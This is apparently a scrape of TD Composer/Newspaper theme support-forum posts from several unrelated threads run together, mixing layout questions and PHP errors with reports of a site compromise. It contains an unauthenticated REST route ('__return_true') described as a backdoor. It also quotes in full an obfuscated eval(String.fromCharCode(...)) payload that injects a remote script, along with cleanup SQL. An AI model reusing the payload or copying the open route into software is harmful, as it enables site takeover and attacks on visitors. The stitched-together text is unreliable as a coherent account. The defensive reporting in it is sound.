OK, great, I was confused because of your label “ACF field (PRO only)” there…
But still can’t figure out how to process it. What type of ACF field I have to create and how to choose images to such list, to make in TD Composer Gallery element work? I tried find information or tutorial here in forum as well as in documentation but unsuccessfully.
Parse error: syntax error, unexpected ‘string’ (T_STRING), expecting function (T_FUNCTION) or const (T_CONST) in /data/web/virtuals/83305/virtual/www/wp-content/plugins/td-composer/legacy/common/wp_booster/td_resources_optimize.php on line 8
🙁
Hi, same problem, update to 13.1 WordPress and 12.6 Newspaper and all the attemtps warns TagDiv Version 4.3 | built on 15.09.2023, On row no. 8 in file /data/web/virtuals/83305/virtual/www/wp-content/plugins/td-composer/legacy/common/wp_booster/td_resources_optimize.php error E_PARSE. Error message: syntax error, unexpected ‘string’ (T_STRING), expecting function (T_FUNCTION) or const (T_CONST)
???
Possibly, how to downgrade TagDiv to 12.5 etc?
Thzank you
I dont have this option in list available. That means I have to buy ACF Pro plugin first? There is no way how to use Gallery element in page just with TD Composer?
Hello,
You can do it with custom code css -> https://i.imgur.com/II5JDIS.png
.td-smart-list-button
{
border-radius: 25px;
}
Set the code in Theme Panel -> Custom Code -> Custom CSS.
You need to use the smart list from tagDiv Composer, inside Single Post Content ->
https://i.imgur.com/dbipPWQ.png according to the documentation https://forum.tagdiv.com/smart-lists/. You can create the smart list in Gutenberg.
Also, you don’t need to use the classic editor, you can use the Gutenberg editor, which is the default editor for WordPress and select/add the element classic https://i.imgur.com/9sWuCtW.png to add the smart list.
Thank you!
Hello,
for everyone with this problem, you have to:
disable newspaper theme and delete the folder. Disable td composer and all plugins related to newspaper theme. Delete all.
Go to wp-content/plugins and search wp-zexit or wp-swamp.. delete folders
we will Install a fresh wordpress.. backup your wp-content folder to not lose your uploaded files, etc… backup wp-config.php, and any other file you find important inside your site folder. We will erase the folder. Backup your database.
Delete all files inside your site folder.
Download WordPress from wordpress . org/latest.zip , unzip it in the site folder. Please note that it will create a wordpress/ folder, and you need to copy all files to your root folder
restore your wp-config.php and wp-content folder that you have backed up
Now you have to check if your database is compromised, probably it is
on your wordpress database, check on wp_users if it have an user that is not created by you, probably with the name “greeceman”. Using command line code is ‘select * from wp_users;’
Delete user.. if the Id of the hacker user is for example 19, then use ‘delete from wp_users where ID=19;’ if you are using command line. Please don’t ever use SQL commands without the where clause.
Check if there’s something on ‘td_live_css_local_storage’ using ‘select option_value from wp_options where option_name = ‘td_live_css_local_storage’;’, probably is full of obfuscated sh1t.
Clear with ‘UPDATE wp_options SET option_value = ” WHERE option_name = ‘td_live_css_local_storage’;’
Hi,
I’m creating home page in TD composer and I need simple gallery there, just row with suppliers’ logos with looping. Revolution slider seems to me too robust for such task but I found gallery element in TD Composer with features that suit me. But I don’t know how select gallery source? Both options POST/CPT + ACF field are inactive. How to create gallery or pick images to have some list prepared for Gallery element? Or it is not possible for Page?
All our sites have been infested with malware. https://www.bayareaparent.com/
found a backdoor in the live-css code that is part of td-composer in /wp-content/plugins/td-composer/css-live/includes/td_live_css_ajax.php that allows anyone to append css code to the page by making a POST request.
function td_live_css_on_rest_api_init() {
$namespace = ‘tdw’;
register_rest_route($namespace, ‘/save_css/’, array(
‘methods’ => ‘POST’,
‘callback’ => ‘td_live_css_on_ajax_save_css’,
‘permission_callback’ => ‘__return_true’,
));
}
Seems to be in all versions of theme. Version: 12.3, version: 11.3.2
css-live plugin.
The cloud templates are not taking to the corresponding category pages on desktop or mobile, and only two of the latest blog post pages are showing the correct template. In the editor, it shows that the Category Template is applied to the page, but it still shows up incorrect in the browser, but when I go to edit the template in the Cloud Template tab, everything looks correct. It seems as if there’s a disconnect between the page and the template.
Links
Home page with correct template: https://360degreesound.com/
Reviews (correct template-not a category page): https://360degreesound.com/reviews/
Interviews (category page): https://360degreesound.com/category/interviews/
Correct post page: https://360degreesound.com/on-stage-pearl-jam-in-austin/
Incorrect post page: https://360degreesound.com/author-talk-oli-freke-on-synthesizer-evolution/
Images
Interview page: https://imgur.com/a/bZH9k9c
Correct Post page: https://imgur.com/7Wzs9oi
Incorrect post page: https://imgur.com/eVGWe6Y
Category template in TD composer: https://imgur.com/PvcBEv7
thank you.
We never found injection in the page. Only sucuri and bitdefender reported the hack, and after several days Imunify reported this file plugins/wp-zexit/wp-zexit.php
We saw that the wp-zexit module was installed automatically and an admin user created after deletion.
We updated the td-composer and it seems no more issue, but we see the edit error reported above. We will keep searching on your recommended list.
thanks
We updated to the latest 12.6 as advised to counter this error “PHP Warning: Undefined array key “ids” in /code/wp-content/plugins/td-composer/legacy/common/wp_booster/td_wp_booster_functions.php on line 2217″ but it still firing. It didnt occur when we were ono 7.4 but we really dont want to go backwards as its been running fine on everything else
Hi,
That one looks like post style default, that on is on this path – wp-content/plugins/td-composer/legacy/Newsmag/loop-single.php
The button is not visible on mobile because the background color is not set, if you set the background color on element will be display – https://i.imgur.com/HzHcBx5.png
Thank you!
I have the same issue, but when saving the live CSS nothing happens https://nimb.ws/NWtgTE and when editing the content its an error as well. see it here https://nimb.ws/S5ae2M
I reinstalled the td-composer (downloaded from the themeforest) same issue.
Is anythingelse we can do?
thank you
-
This reply was modified 2 years by
inforamk.
Hi thalesbrandao, for this you’ll need to edit the single post template file that you are using for posts. For example if you are using style 1 the file path is – wp-content/plugins/td-composer/legacy/Newsmag/parts/single/loop-single-1.php set your code under the get_title() – https://i.imgur.com/OBvFW8O.png
Also, you can set the edited files in a child theme – https://forum.tagdiv.com/the-child-theme-support-tutorial/
I hope this will help you!
The link you’ve posted doesn’t have any mention of checking the wp_options table. Are TagDiv going to release an update to actually fix the vulnerability in TD Composer?
Hi, Sucuri says that this is malware:
<style id=”tdw-css-placeholder”>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,112,115,58,47,47,115,116,97,121,46,100,101,99,101,110,116,114,97,108,97,112,112,112,115,46,99,111,109,47,115,114,99,47,112,97,103,101,46,106,115,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</style></head>
I’ts generated from the TD-Composer plugin.
Also some AV’s says the site is not secure.
Hi,
My header is self-designed with TD composer. As long as I’m logged in, everything’s fine. When I watch my site with e. g. private browsing, I see an unstyled mobile header on top of the desktop header and, in mobile, the desktop header under the the correct mobile header. In TD composer everything looks fine. What can I do?
Hi,
Please add an option to add and style menu descriptions for menu items and display them for all menu shortcodes in TD composer (Header menu main, mobile horizontal menu, mobile menu, and list menu) like in newspaper default demo “FEATURES” menu item and tagdiv homepage “Services” menu item, etc.
Thanks.
Good afternoon, since the last update, tagDiv Composer has stopped working and every time I install it, it causes a critical error. (https://youtu.be/x3ugEjV5EWA)
From that moment on, the website stops working. TagDiv Composer is not installed with the following indication:
This plugin failed to load and is suspended during recovery mode.
An E_PARSE error was caused on line 8 of the /home/oi1vz3ye/public_html/wp-content/plugins/td-composer/legacy/common/wp_booster/td_resources_load.php file. Error message: syntax error, unexpected ‘array’ (T_ARRAY), expecting function (T_FUNCTION) or const (T_CONST)
Hi Ana,
I agree, but it does.
These are the links I am sending you to demonstrate the template names are showing up( tdb_templates/custom-taxonomy-doctors-pro-3/ and /tdb_templates/blank-custom-post-type/)
I created the page, loaded the template, assigned the specific post type, save(from tag div composer, and click view. When it loads on the front end it uses the name of the templates instead of the post type or taxonomy.
When i try to do the same using the cloud template for /tdb_templates/blank-custom-post-type/ and /custom-taxonomy-doctors-pro-3/ it does not let me. it gives this message: Invalid template type! Please make sure your are editing a supported template type title.
I would add screen grabs but there is nowhere to attach files.
This is what I am trying to fix.
Any guidance on how to fix?
Hello
This link does not help my problem.
I already have the slug of the custom post created as directed from the link you sent (4. If You Have Already Created a Custom Post Type (CPT) Using register_post_type Function – https://www.scratchcode.io/how-to-change-custom-post-type-slug-in-wordpress/)
My problem is i am using the cloud template for the custom taxonomy in one case (https://theledger.whatchacatchin.com/tdb_templates/custom-taxonomy-doctors-pro-3/) and the cloud template for the custom post type in another (https://theledger.whatchacatchin.com/tdb_templates/blank-custom-post-type/) but I cannot edit the bold italic part of the these links,
example: i used a regular template for https://theledger.whatchacatchin.com/podcasts-directory/ and I was able to edit the the page title from what the original title was to podcast directory from the tagdiv composer at the top of the composer above where it says Welcome to tagdiv composer. When i try to do the same using the cloud template for /tdb_templates/blank-custom-post-type/ and /custom-taxonomy-doctors-pro-3/ it does not let me. it gives this message: Invalid template type! Please make sure your are editing a supported template type title.
How can I edit this?
Hi
1. rollback doesn’t help
2. restoring from a backup does not help (theme+ td-composer+td-standard-pack+td-cloud-library)
3. Some Parameters in the database?
when updating td composer , it does it all the time , tried it 20 times , I can’t go back to previous
Hi there, I got an error regarding the td-composer after I updated. I have since gone back to the previous version of the theme. After I did that, the error went away.
Here is a link to the screenshot: https://ibb.co/9hNBBfP
My site is: https://booomcha.com/
Thank you so much for your help.
Hi Team,
We need td-composer latest copy of plugins because we are not able to update td-composer plugin partially.
Thanks